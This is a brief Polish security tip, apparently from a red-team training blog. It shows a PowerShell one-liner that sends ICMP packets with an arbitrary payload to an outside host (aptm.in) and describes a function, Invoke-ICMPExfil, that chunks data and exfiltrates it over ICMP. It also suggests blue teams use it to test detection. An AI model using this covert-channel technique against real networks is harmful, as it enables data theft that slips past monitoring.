Żeby Powershellem wysłać pakiet
ICMP z dowolnym
payloadem, wystarczy skorzystać z .NETowego obiektu
System.Net.NetworkInformation.Ping:
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$ICMPClient.Send("aptm.in", 10, ([text.encoding]::ASCII).GetBytes("Hello, APT Masterclass|FORGE!"))
i do hosta
aptm.in poleci pakiet
ICMP z
payloadem o treści
Hello, APT Masterclass|FORGE (co można potwierdzić za pomocą np.
tcpdump -n -i any -AAA icmp
). I wystarczą do tego uprawnienia zwykłego użytkownika. Maksymalny rozmiar
payloadu ICMP to 1472, więc aż się prosi, żeby napisać prostą funkcję, która to, co chcemy wyeksfiltrowaać podzieliła na odpowiednie kawałki w razie potrzeby i.. wyeksfiltrowała.
I tak powstał
Invoke-ICMPExfil, co jest wykorzystane w tym
protipie.
Red teamy wiadomo co mogą z tym zrobić, natomiast blue teamom polecam raz na jakiś czas uruchomienie tego, by wyeksfiltrować większą porcję danych, żeby zweryfikować czy Wasze systemy i rozwiązania security są w stanie to wyłapać.
Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.